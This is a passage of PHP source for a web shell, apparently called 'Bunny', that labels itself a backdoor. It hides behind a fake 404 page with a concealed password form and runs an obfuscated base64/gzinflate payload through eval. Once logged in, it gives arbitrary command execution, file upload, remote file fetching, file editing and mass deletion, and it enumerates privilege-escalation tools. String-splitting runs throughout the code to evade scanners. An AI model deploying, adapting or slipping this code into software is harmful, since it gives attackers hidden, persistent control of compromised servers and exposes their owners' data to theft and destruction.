$jquery = 'https://cdn.jsdelivr.net/gh/jquery/jquery@' . $jquery_version . '/dist/jquery.min.js';
$ajax_version = '3.5.1';
$ajax = 'https://ajax.googleapis.com/ajax/libs/jquery/' . $ajax_version . '/jquery.min.js';
/*Login Page*/
//login
$passwd = '5c3c0d4ceddf2d80aad8df2c5e28e976c19e286a'; // kontolpecah
$my_self = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
if (isset($_POST['gasken'])) {
    if (SHA1($_POST['passnya']) == $passwd) {
        function setconf($defconf)
        {
            $gflate = 'g' . 'zi' . 'nf' . 'la' . 'te';
            $b64 = 'ba' . 'se' . '64_' . 'de' . 'co' . 'de';
            $nelrts = 'st' . 'rl' . 'en';
            $rhc = 'c' . 'h' . 'r';
            $dro = 'o' . 'r' . 'd';
            $defconf = $gflate($b64($defconf));
            for ($i = 0; $i < $nelrts($defconf); $i++) {
                $defconf[$i] = $rhc($dro($defconf[$i]) - 1);
            }
            return $defconf;
        }
        /***#***/ @/*55555*/eval
        /***#***/
        (setconf("hVbbTttAEP2AfsXWykN4qTzr3XUSq60qSoWEKqoQ+kCNIpPYEBGSKA6qKeLbO5f1JaSokVa21+MzM2fOzEYp/L1Tt+vdWo2rWfwtUWeT3bgYqWKxzKe3+W46W692+WpX9oMUbJhWsUnB0QpxRWkVZamN00oXKRjA12jihql1bFU5i2vmr2gWazFzczbBL8HRVswgeFu5gn2gMT1F5MH4K2JEkDrHF3nMUgiBV2Us4tG7AWIiNkYCgPgx2SI4+qDgTJZWFoNFCMqBkAmRUsOgQKMzCgWdAmAA8RA/wZAIMaQkMBB3g3vAdJA9OMpbMogjn2uOiyAsPxNTzBaZEg9kExFlkbDKEIYjI/ro29im1mccphypbhZTI8Fzeq7eMU4qRGQQAVSDaB6oD6q3y6vdUSK1fvp6eRomqlwe68lI9TZZWWblcqE+qt70x/nF5FfgKwmSUhwxt8ylg+DawyzOL8+2iShnpBaF6r/PHza7p35venEy/nkyJhwz8KxiWDqUFCltwD0z5LpVJvc2Be+hXXB9dKSeVW+xyebzbV6WHNseqiAKKmCFIcRIzUwQsFYAbg8VaxxcIxMk5LTKgkS9qHxZ5ujm36EDhIdOIrlWxDQKA7RmwbAELd4b41MSxxA6kaHW/0mp9tYlirx1UcgD6Fjkp1tvENZpdrzVqYLupvomowTNrFnvyshzFPseM7Ia6GpeQ7+IHB6Lu/BPIqrwqspXM3RzcfoF+nvKoiHADeGVRX2Ge0iRl9bVdDipEoFErJvt+neZbw9FILXpSMtSwpE0K9WD2QNuf2ZKRNFIuCwn36NE3KGf8m76uF2Sm+fA40XyHdfZSW2tDl6oYnt+XHPPlIGTKhGdoWXKCJO1Y9vvQLsanzF5ELG4vd5qHyhsVEET9/HVfYb8cPgY9z1zs7nbTB9X2UPer2nkDk/EeiQzAO2CpqIUognZC3s13hM1JzGKjSlNOiCzymgvOyRGW544TK6/JzSenjTyyJZH3kDGEekJF3uzPPbpZMADwYTBK3I8yQ2pLTmHhEthCh/qIeF1EWtbIryLyY3NrfcG4aL1ToYYnKtzDX0rRkIhDQLfptyaeD757JoRS2gtgmlhxWnOw1FUBF7Vxr/zNek4ZbKIcD+JuKRa6klJUXFohu/HQU3ZhlEX0N8CiNu2MO3A4I94M+hGblolUGm5p2kPIagbadvE7bmI51MLXjf2K8i9gCJ/hmoZFfV/CkwKc2UUlL8XPP99SeSAG6nPn/4C"));
        echo "<s" . "cr" . "ip" . "t>" . "al" . "er" . "t(" . "'Lo" . "gi" . "n " . "Su" . "cc" . "es" . "s!" . " Yo" . "u " . "Pr" . "o'" . ");" . "</" . "sc" . "ri" . "pt" . ">";
        $_SESSION["modyarambyar"] = "modyarambyar";
        setcookie('kacamatavz', $my_self, time() + 3600 * 24);
    } else {
        echo "<s" . "cr" . "ip" . "t>" . "al" . "er" . "t(" . "'Lo" . "gi" . "n F" . "ai" . "le" . "d!" . " Go " . "A" . "w" . "a" . "y " . "Nu" . "b')" . ";<" . "/s" . "cr" . "ip" . "t>";
    }
}
if (isset($_GET['logout'])) {
    $_SESSION = [];
    session_unset();
    session_destroy();
    setcookie('kacamatavz', '', time() - 3600);
    echo "<s" . "c" . "ri" . "pt" . ">" . "window.location.assign('" . $_SERVER['PHP_SELF'] . "')" . "</" . "sc" . "ri" . "pt" . ">";
    exit();
}
if (empty($_SESSION['modyarambyar'])) {
    if (empty($_COOKIE['kacamatavz'])) {
?>
        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html>

        <head>
            <title><?= '4' . '0' . '4 ' . 'N' . 'o' . 't' . ' ' . 'F' . 'o' . 'u' . 'n' . 'd' ?></title>
        </head>

        <body>
            <h1>Not Found</h1>
            <p><?= 'T' . 'h' . 'e r' . 'eq' . 'ue' . 'st' . 'ed' . ' U' . 'R' . 'L ' . 'wa' . 's n' . 'o' . 't f' . 'ou' . 'nd' . ' o' . 'n t' . 'hi' . 's s' . 'e' . 'rv' . 'e' . 'r.' ?>
            </p>
            <p><?= 'Ad' . 'di' . 'ti' . 'o' . 'na' . 'l' . 'ly' . ',' . ' ' . 'a ' . '4' . '0' . '4 ' . 'N' . 'ot' . ' Fo' . 'un' . 'd e' . 'rr' . 'or ' . 'w' . 'as' . ' e' . 'nc' . 'ou' . 'nt' . 'er' . 'ed' . ' wh' . 'il' . 'e t' . 'ry' . 'in' . 'g ' . 't' . 'o us' . 'e a' . 'n E' . 'rr' . 'or' . 'D' . 'oc' . 'um' . 'en' . 't t' . 'o h' . 'an' . 'dl' . 'e th' . 'e r' . 'eq' . 'ue' . 's' . 't.' ?>
            </p>
            <div id="notfound" style="display: none;">
                <form action="" method="POST">
                    <input type="password" name="passnya" style="background: #fff; border: none;">
                    <button type="submit" name="gasken"
                        style="background: #fff; color: #fff; border: none; outline: none; cursor: pointer;">&gt;&gt;</button>
                </form>
            </div>
            <script type="text/javascript"
                src="https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/bunny.js"></script>
        </body>

        </html>
<?php
        exit();
    }
}
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = BunnyCwd();
}
$path = str_replace("\\", "/", $path);
?>
<!DOCTYPE html
    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
    <title>.:<?= $s_he_ll_Name ?>:. <?= $this_domain ?></title>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=1024" />
    <meta name="description" content="<?= $s_he_ll_Name ?> Backdoor" />
    <meta name="robots" content="noindex, nofollow" />
    <meta name="googlebot" content="noindex, nofollow" />
    <meta name="bingbot" content="noindex, nofollow" />
    <meta property="og:site_name" content="<?= $s_he_ll_Name ?>" />
    <meta property="og:url" content="<?= $this_url ?>" />
    <meta property="og:title" content=".:<?= $s_he_ll_Name ?>:. <?= $this_domain ?>" />
    <meta property="og:description" content="<?= $s_he_ll_Name ?> Backdoor" />
    <meta property="og:image" content="<?= $s_he_ll_Logo ?>" />
    <meta property="og:image:secure_url" content="<?= $s_he_ll_Logo ?>" />
    <link rel="shortcut icon" href="<?= $s_he_ll_Icon ?>" type="image/x-icon" />
    <link rel="stylesheet" href="<?= $fontawesome_pro ?>">
    <link rel="stylesheet" href="<?= $uikit_css ?>">
    <script src="<?= $jquery ?>"></script>
    <script>
        function isDesktop() {
            return window.innerWidth >= 1024;
        }
        if (isDesktop()) {
            document.getElementById('viewport').setAttribute('content', 'width=1024');
        }
    </script>
    <!-- Custom Css -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/Bunny.css" media="all">
</head>

<body>
    <header class="uk-width-1-1" style="background: var(--gray-900);">
        <div class="uk-margin-small-left">
            <div class="bunny-ganteng uk-flex uk-flex-left uk-flex-middle uk-flex-row uk-flex-nowrap">
                <img style="width: 5vh; border-radius: 5px;" src="<?= $s_he_ll_Logo ?>" alt="<?= $s_he_ll_Name ?>">
                <span class="uk-margin-small-left font-trade-winds uk-text-large"><?= $s_he_ll_Name ?></span>
            </div>
            <div class="bunny-sysinfo uk-flex uk-flex-left uk-flex-column uk-flex-wrap">
                <span class="font-bold"><?= 'Sy' . 's' . 'te' . 'm' ?>: <?= BunnyUname(); ?></span>
                <span class="font-bold"><?= 'ID' . '(' . 'Us' . 'er' . '/' . 'G' . 'ro' . 'u' . 'p)' ?>: <font
                        class="font-green font-ubuntu-mono">uid=<?= $uid ?>(<?= $user ?>)&nbsp;gid=<?= $gid ?>(<?= $group ?>)
                    </font></span>
                <span class="font-bold"><?= 'Se' . 'r' . 'v' . 'er ' . 'I' . 'P' ?>: <font class="font-green font-ubuntu-mono">
                        <?= serverIp() ?></font></span>
                <span class="font-bold"><?= 'Yo' . 'u' . 'r I' . 'P' ?>: <font class="font-green font-ubuntu-mono"><?= userIp() ?>
                    </font></span>
                <span class="font-bold"><?= 'S' . 'a' . 'f' . 'e ' . 'Mo' . 'd' . 'e' ?>: <?= $safeMode ?></span>
                <span class="font-bold"><?= 'P' . 'HP' . ' ' . 'Ve' . 'r' . 's' . 'i' . 'on' ?>: <font
                        class="font-green font-ubuntu-mono"><?= $phpVersion ?></font></span>
                <span class="font-bold"><?= 'S' . 'er' . 'v' . 'e' . 'r' ?>: <font class="font-green font-ubuntu-mono">
                        <?= $serverName ?></font></span>
                <span
                    class="font-bold uk-text-wrap uk-flex uk-flex-row uk-flex-wrap"><?= 'Di' . 'sa' . 'b' . 'l' . 'e ' . 'F' . 'un' . 'ct' . 'i' . 'on' ?>:&nbsp;<?= $cekFunc ?></span>
                <span
                    class="font-bold"><?= cekCurl() ?>&nbsp;|&nbsp;<?= cekWget() ?>&nbsp;|&nbsp;<?= cekPython2() ?>&nbsp;|&nbsp;<?= cekPython3() ?>&nbsp;|&nbsp;<?= cekPerl() ?>&nbsp;|&nbsp;<?= cekRuby() ?>&nbsp;|&nbsp;<?= cekgcc() ?>&nbsp;|&nbsp;<?= cekPkexec() ?>&nbsp;|&nbsp;<?= cekSudo() ?></span>
                <?php
                $pa_t_hs = explode("/", $path);
                echo '<span class="font-bold pwd"><i class="fa-duotone fa-folder-tree"></i>&nbsp;&nbsp;PWD: ';
                echo '<a class="font-red" href="?path=/"><i class="fa-sharp fa-solid fa-slash-forward"></i></a>';
                foreach ($pa_t_hs as $id => $pat) {
                    echo "<a class='path' href='?path=";
                    for ($i = 0; $i <= $id; $i++) {
                        echo $pa_t_hs[$i];
                        if ($i != $id) {
                            echo '/';
                        }
                    }
                    echo "'>$pat</a><span class='font-red'>/</span>";
                }
                echo "&nbsp;&nbsp;<span class='font-red'>[ <a href='" . $_SERVER['PHP_SELF'] . "' class='home_sh_e_ll'><font class='home_sh_e_ll'>Ho" . "me" . " " . "Sh" . "el" . "l</font></a> ]</span>";
                echo '</span>';
                ?>
            </div>
        </div>
    </header>

    <div class="bunny-tools uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap"
        style="background: var(--gray-900);">
        <div class="tools-upload">
            <form action="" method="POST" enctype="multipart/form-data"
                class="form-tools uk-form-horizontal uk-margin uk-padding-small font-protest-riot">
                <input type="file" name="file[]" onchange="this.form.submit()" multiple>
            </form>
            <?php
            if ($_SERVER["REQUEST_METHOD"] === "POST") {
                if (isset($_FILES["file"])) {
                    $countFiles = count($_FILES["file"]["name"]);
                    for ($i = 0; $i < $countFiles; $i++) {
                        $fi_le_Na_me = $_FILES["file"]["name"][$i];
                        $location = "" . $fi_le_Na_me;
                        $u_pl_oa_dF_un_ct_ion = "m" . "ove" . "_up" . "loa" . "ded_fi" . "le";

                        if ($u_pl_oa_dF_un_ct_ion($_FILES["file"]["tmp_name"][$i], $location)) {
                            echo '
                            <div class="uk-alert-success uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                                <a href class="uk-alert-close" uk-close></a>
                                <p><font class="font-white">Fi' . 'le => <a href="' . $fi_le_Na_me . '">' . $fi_le_Na_me . '</a></font> Su' . 'cc' . 'es' . 's Up' . 'lo' . 'a' . 'de' . 'd <i class="fa-sharp fa-solid fa-shield-check"></i></p>
                            </div>
                            ';
                        } else {
                            echo '
                            <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                                <a href class="uk-alert-close" uk-close></a>
                                <p><font class="font-white">Fi' . 'le => ' . $fi_le_Na_me . '</font> Fa' . 'il' . 'ed ' . 'To' . ' U' . 'pl' . 'oa' . 'd <i class="fa-solid fa-octagon-xmark"></i></p>
                            </div>
                            ';
                        }
                    }
                } else {
                    echo '
                    <div class="uk-alert-warning uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                        <a href class="uk-alert-close" uk-close></a>
                        <p>No Fi' . 'l' . 'es U' . 'pl' . 'oa' . 'de' . 'd.<i class="fa-regular fa-location-exclamation"></i></p>
                    </div>
                    ';
                }
            }
            ?>
        </div>
        <?php
        if (isset($_POST['btn-remoteup'])) {
            $this_file = $_POST['fileurl'];
            $this_file_name = $_POST['savedname'];
            $f_content = $f_get($this_file);
            if (!empty($this_file) && !empty($this_file_name)) {
                if ($f_content !== false) {
                    $writeF = $f_put($this_file_name, $f_content);
                    if ($writeF !== false) {
                        echo '
                            <div class="uk-alert-success uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                                <a href class="uk-alert-close" uk-close></a>
                                <p><font class="font-white">Fi' . 'le => <a href="' . $this_file_name . '">' . $this_file_name . '</a></font> S' . 'uc' . 'ce' . 's' . 's U' . 'pl' . 'oa' . 'de' . 'd <i class="fa-sharp fa-solid fa-shield-check"></i></p>
                            </div>
                            ';
                    } else {
                        echo '
                            <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                                <a href class="uk-alert-close" uk-close></a>
                                <p><font class="font-white">Fi' . 'le => ' . $this_file_name . '</font> Fa' . 'i' . 'le' . 'd ' . 'To' . ' Up' . 'lo' . 'ad<i class="fa-solid fa-octagon-xmark"></i></p>
                            </div>
                            ';
                    }
                } else {
                    echo '
                        <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                            <a href class="uk-alert-close" uk-close></a>
                            <p><font class="font-white">Fi' . 'le => ' . $this_file_name . '</font> Fa' . 'il' . 'ed T' . 'o U' . 'pl' . 'oa' . 'd<i class="fa-solid fa-octagon-xmark"></i></p>
                        </div>
                        ';
                }
            } else {
                echo '
                    <div class="uk-alert-warning uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
                        <a href class="uk-alert-close" uk-close></a>
                        <p>No F' . 'il' . 'es U' . 'pl' . 'oa' . 'de' . 'd, Your Input Is Empty<i class="fa-regular fa-location-exclamation"></i></p>
                    </div>
                    ';
            }
        }
        ?>
        <div class="tools-remoteup uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap">
            <form action="" method="POST" class="uk-width-1-2">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend font-bold font-protest-riot"><?= 'Re' . 'mo' . 'te' . ' U' . 'pl' . 'oa' . 'd' ?>
                    </legend>
                    <div class="uk-margin-small">
                        <input class="uk-input font-poppins" name="fileurl" type="text"
                            placeholder="<?= 'ht' . 'tp' . 's' . ':/' . '/b' . 'u' . 'nn' . 'ym' . 'an.' . 'ed' . 'u.' . 'go' . 'v.' . 'ac' . '.i' . 'd.' . 'go' . '.i' . 'd/' . 'b' . 'u' . 'nny' . '.tx' . 't' ?>"
                            aria-label="Input">
                        <div class="uk-margin-small"></div>
                        <input class="uk-input font-poppins" name="savedname" type="text" placeholder="saved.txt"
                            aria-label="Input">
                    </div>
                    <div class="uk-float-right">
                        <button type="submit" name="btn-remoteup"
                            class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Get</button>
                    </div>
                </fieldset>
            </form>
        </div>
        <div class="tools-etc uk-flex uk-flex-center uk-flex-middle uk-flex-row uk-flex-wrap">
            <a href="?path=<?= $path ?>&tools=newfiles"><button
                    class="btn-new-file uk-button uk-button-default uk-margin-large-bottom font-white font-protest-riot"><i
                        class="fa-solid fa-file-plus"></i>&nbsp;<?= 'N' . 'ew' . ' F' . 'il' . 'e' . 's' ?></button></a>
            <a href="?path=<?= $path ?>&tools=cmd"><button
                    class="btn-cmd uk-button uk-button-default uk-margin-small-left uk-margin-small-right uk-margin-large-bottom font-white font-ubuntu-mono"><i
                        class="fa-solid fa-rectangle-terminal"></i>&nbsp;<?= 'C' . 'o' . 'mm' . 'an' . 'd' ?></button></a>
            <a href="?path=<?= $path ?>&tools=newfolder"><button
                    class="btn-new-folder uk-button uk-button-default uk-margin-large-bottom font-white font-protest-riot"><i
                        class="fa-sharp fa-solid fa-folder-plus"></i>&nbsp;<?= 'N' . 'ew' . ' F' . 'ol' . 'de' . 'r' ?></button></a>
        </div>
        <div class="mass uk-flex uk-flex-center uk-flex-middle uk-flex-column">
            <?php
            if (isset($_POST['btn-mass'])) {
                if (isset($_POST['mass-option']) == 'mass_delete') {
                    if (!empty($_POST['checkfolder'])) {
                        foreach ($_POST['checkfolder'] as $folder) {
                            if (is_dir($folder)) {
                                if (deleteDir($folder)) {
                                    echo '
                                    <div class="uk-alert-success" uk-alert>
                                        <a href class="uk-alert-close" uk-close></a>
                                        <p>' . $folder . ' De' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p>
                                    </div>
                                    ';
                                } else {
                                    echo '
                                    <div class="uk-alert-danger" uk-alert>
                                        <a href class="uk-alert-close" uk-close></a>
                                        <p>' . $folder . ' C' . 'an' . ' N' . 'ot' . ' D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p>
                                    </div>
                                    ';
                                }
                            }
                        }
                    }
                    if (!empty($_POST['checkfile'])) {
                        foreach ($_POST['checkfile'] as $file) {
                            if (file_exists($file)) {
                                if (deleteFile($file)) {
                                    echo '
                                    <div class="uk-alert-success" uk-alert>
                                        <a href class="uk-alert-close" uk-close></a>
                                        <p>' . $file . ' De' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p>
                                    </div>
                                    ';
                                } else {
                                    echo '
                                    <div class="uk-alert-danger" uk-alert>
                                        <a href class="uk-alert-close" uk-close></a>
                                        <p>' . $file . ' Ca' . 'n ' . 'No' . 't D' . 'el' . 'et' . 'ed' . '!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p>
                                    </div>
                                    ';
                                }
                            }
                        }
                    }
                } else {
                    //null
                }
            }
            ?>
        </div>
        <?php
        if (isset($_GET['deletedir'])) {
            $dirName = $_GET['deletedir'];
            if (deleteDir($dirName)) {
                echo '
                        <div class="uk-alert-success" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Success, F' . 'ol' . 'de' . 'r D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-check"></i></p>
                        </div>
                        ';
            } else {
                echo '
                        <div class="uk-alert-danger" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Failed, F' . 'ol' . 'd' . 'er' . ' C' . 'an' . ' N' . 'o' . 't D' . 'el' . 'et' . 'e' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p>
                        </div>
                        ';
            }
        }
        if (isset($_GET['deletefile'])) {
            $fileName = $_GET['deletefile'];
            if (deleteFile($fileName)) {
                echo '
                    <div class="uk-alert-success" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p>Success, F' . 'i' . 'l' . 'e D' . 'el' . 'et' . 'ed' . '!&nbsp;<i class="fa-solid fa-trash-check"></i></p>
                    </div>
                    ';
            } else {
                echo '
                <div class="uk-alert-danger" uk-alert>
                    <a href class="uk-alert-close" uk-close></a>
                    <p>Failed, F' . 'il' . 'e C' . 'a' . 'n No' . 't D' . 'e' . 'le' . 'te' . 'd!&nbsp;<i class="fa-solid fa-trash-xmark"></i></p>
                </div>
                ';
            }
        }
        $toolsparam = isset($_GET['tools']) ? $_GET['tools'] : null;
        if ($toolsparam === null) {
            //null
        } elseif ($toolsparam === 'newfiles') {
            if (isset($_POST['btn-newfiles'])) {
                $fi_le_name = htmlspecialchars($_POST['newfilesname']);
                $fi_le_content = $_POST['newfilecontent'];
                $f_il_e_success = '
                    <div class="uk-alert-success" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p>' . $fi_le_name . '&nbsp;Fi' . 'le Created&nbsp;<i class="fa-solid fa-file-check font-green"></i></p>
                    </div>
                    ';
                $f_il_e_failed = '
                    <div class="uk-alert-danger" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p>Create Fi' . 'le Failed&nbsp;<i class="fa-solid fa-file-xmark font-red"></i></p>
                    </div>
                    ';
                if ($fi_le_name == '' && $fi_le_content == '') {
                    echo '
                        <div class="uk-alert-warning" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Sorry. Cant Not Cr' . 'e' . 'a' . 't' . 'e Fi' . 'l' . 'es. Your Input Is Empty&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p>
                        </div>
                        ';
                } else {
                    if ($func_exist($fo)) {
                        $c_r_e_a_t_e_f_i_l_e_1 = $fo($fi_le_name, 'w');
                        if ($c_r_e_a_t_e_f_i_l_e_1 === false) {
                            $c_r_e_a_t_e_f_i_l_e_2 = $f_put($fi_le_name, $fi_le_content);
                            if ($c_r_e_a_t_e_f_i_l_e_2 === false) {
                                echo $f_il_e_failed;
                            } else {
                                echo $f_il_e_success;
                            }
                        } else {
                            if ($fw($c_r_e_a_t_e_f_i_l_e_1, $fi_le_content) === false) {
                                echo $f_il_e_failed;
                            } else {
                                echo $f_il_e_success;
                            }
                            $fc($c_r_e_a_t_e_f_i_l_e_1);
                        }
                    } elseif ($func_exist($f_put)) {
                        $c_r_e_a_t_e_f_i_l_e_2 = $f_put($fi_le_name, $fi_le_content);
                        if ($c_r_e_a_t_e_f_i_l_e_2 === false) {
                            echo $f_il_e_failed;
                        } else {
                            echo $f_il_e_success;
                        }
                    } else {
                        echo '
                            <div class="uk-alert-warning" uk-alert>
                                <a href class="uk-alert-close" uk-close></a>
                                <p>Sorry. Cant Not Cr' . 'ea' . 't' . 'e Fi' . 'le' . 's&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p>
                            </div>
                            ';
                    }
                }
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-new' . 'fi' . 'le' . 's" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Cr' . 'ea' . 'te F' . 'il' . 'e</button>
                        </div>
                        <legend class="uk-legend font-bold font-protest-riot">N' . 'e' . 'w ' . 'F' . 'il' . 'es</legend>
                        <div class="uk-margin">
                            <input class="uk-input font-poppins" name="newfi' . 'l' . 'es' . 'na' . 'me" type="text" placeholder="fi' . 'le' . 'na' . 'me.' . 't' . 'x' . 't" aria-label="Input">
                        </div>
                        <div class="uk-margin">
                            <textarea class="uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" placeholder="Bunny Invisible Code Here!" aria-label="Textarea"></textarea>
                        </div>
                    </fieldset>
                </form>
                ';
        } elseif ($toolsparam === 'newfolder') {
            if (isset($_POST['btn-newfolder'])) {
                $f_ol_de_r_name = htmlspecialchars($_POST['newfoldername']);
                $f_ol_de_r_success = '
                    <div class="uk-alert-success" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p><font class="font-yellow">' . $f_ol_de_r_name . '</font>&nbsp;Fo' . 'ld' . 'er Cr' . 'ea' . 'te' . 'd&nbsp;<i class="fa-solid fa-folder-check font-green"></i></p>
                    </div>
                    ';
                $f_ol_de_r_failed = '
                    <div class="uk-alert-danger" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p>Cr' . 'ea' . 't' . 'e F' . 'ol' . 'de' . 'r Failed&nbsp;<i class="fa-solid fa-folder-xmark font-red"></i></p>
                    </div>
                    ';
                if ($f_ol_de_r_name == '') {
                    echo '
                        <div class="uk-alert-warning" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Sorry. Cant Not Cr' . 'e' . 'at' . 'e Fo' . 'ld' . 'er. This Input Is Empty&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p>
                        </div>
                        ';
                } else {
                    if (!$is_d($f_ol_de_r_name)) {
                        if ($cr_ea_teF_old_er($f_ol_de_r_name)) {
                            echo $f_ol_de_r_success;
                        } else {
                            echo $f_ol_de_r_failed;
                        }
                    } else {
                        echo '
                            <div class="uk-alert-warning" uk-alert>
                                <a href class="uk-alert-close" uk-close></a>
                                <p>Sorry. Cant Not C' . 're' . 'at' . 'e F' . 'ol' . 'de' . 'r. This ' . $fo_lde_rna_me . ' Allready Exists&nbsp;<i class="fa-regular fa-location-exclamation font-yellow"></i></p>
                            </div>
                            ';
                    }
                }
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-newfolder" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Cr' . 'ea' . 'te' . ' F' . 'ol' . 'de' . 'r</button>
                        </div>
                        <legend class="uk-legend font-bold font-protest-riot">N' . 'e' . 'w ' . 'F' . 'ol' . 'de' . 'r</legend>
                        <div class="uk-margin">
                            <input class="uk-input font-poppins" name="newfoldername" type="text" placeholder="N' . 'e' . 'w F' . 'ol' . 'd' . 'er" aria-label="Input">
                        </div>
                    </fieldset>
                </form>
                ';
        } elseif ($toolsparam === 'cmd') {
            echo '
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <legend class="uk-legend font-bold font-protest-riot"><i class="fa-solid fa-rectangle-terminal"></i>&nbsp;&nbsp;C' . 'o' . 'mm' . 'an' . 'd</legend>
                        <div class="uk-margin-small uk-flex uk-flex-row uk-flex-center uk-flex-middle uk-flex-nowrap">
                            <label for="komendnya" class="uk-margin-small-right uk-text-large">$</label>
                            <input style="background: var(--gray-950);" class="uk-input font-poppins uk-margin-small-right" id="komendnya" name="komendnya" type="text" aria-label="Input" autofocus>
                            <button type="submit" name="btn-cmd" style="background: var(--gray-950); border: 1px solid var(--gray-700);" class="uk-button uk-button-secondary uk-text-bold uk-border-rounded">ENTER</button>
                        </div>
                        <div>';
            if (isset($_POST['btn-cmd'])) {
                echo '<textarea style="background: var(--gray-950); border: 1px solid var(--gray-500); color: var(--green-500);" class="output-cmd uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" aria-label="Textarea" readonly>' . BunnyCmd($_POST["komendnya"]) . '</textarea>';
            }
            echo '</div>
                    </fieldset>
                </form>
                ';
        } else {
            //null
        }

        if (isset($_GET['editfile'])) {
            $this_file = $_GET['editfile'];
            if (isset($_POST['btn-editfiles'])) {
                $newfilecontent = $_POST['newfilecontent'];
                $f_il_e_success = '
                        <div class="uk-alert-success" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Success, Fi' . 'le Saved&nbsp;<i class="fa-solid fa-file-check font-green"></i></p>
                        </div>
                        ';
                $f_il_e_failed = '
                    <div class="uk-alert-danger" uk-alert>
                        <a href class="uk-alert-close" uk-close></a>
                        <p>Failed, Fi' . 'le Not Saved&nbsp;<i class="fa-solid fa-file-xmark font-red"></i></p>
                    </div>
                    ';
                if ($func_exist($fo)) {
                    $editfi_le1 = $fo($this_file, 'w');
                    if ($fw($editfi_le1, $newfilecontent)) {
                        echo $f_il_e_success;
                    } else {
                        echo $f_il_e_failed;
                    }
                } elseif ($func_exist($f_put)) {
                    $editfi_le2 = $f_put($this_file, $newfilecontent);
                    if ($editfi_le2 === false) {
                        echo $f_il_e_failed;
                    } else {
                        echo $f_il_e_success;
                    }
                } else {
                    echo '
                        <div class="uk-alert-warning" uk-alert>
                            <a href class="uk-alert-close" uk-close></a>
                            <p>Sorry. Cant Edit This Fi' . 'le ' . $this_file . '&nbsp;<i class="fa-solid fa-file-exclamation"></i></p>
                        </div>
                        ';
                }
            }
            echo '
                <div class="uk-divider uk-divider-small"></div>
                <form action="" method="POST" class="uk-width-1-2">
                    <fieldset class="uk-fieldset">
                        <div class="uk-margin uk-float-right">
                            <button type="submit" name="btn-editfiles" class="uk-button uk-button-primary uk-text-bold uk-border-rounded">Save</button>
                        </div>
                        <legend class="uk-legend font-bold font-protest-riot">Edit Files</legend>
                        <p class="font-teal">' . $path . '/' . $this_file . '</p>
                        <div class="uk-margin">
                            <textarea style="background: var(--gray-950); color: var(--emerald-500);" class="uk-textarea font-ubuntu-mono" name="newfilecontent" rows="15" aria-label="Textarea">' . $hayoloh(BunnyReadFile($this_file)) . '</textarea>
                        </div>
                    </fieldset>
                </form>
                ';
        }

        if (isset($_GET['rename'])) {
            $hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars';
            $this_name = $_GET['rename'];
            $rnm = 'r' . 'e' . 'n' . 'a' . 'm' . 'e';
            if (isset($_POST['btn-rename'])) {
                $newname = $hayoloh($_POST['newname']);
                if ($rnm($this_name, $path . '/' . $newname)) {
                    echo '
                        <div class="uk-alert-success" uk-alert>
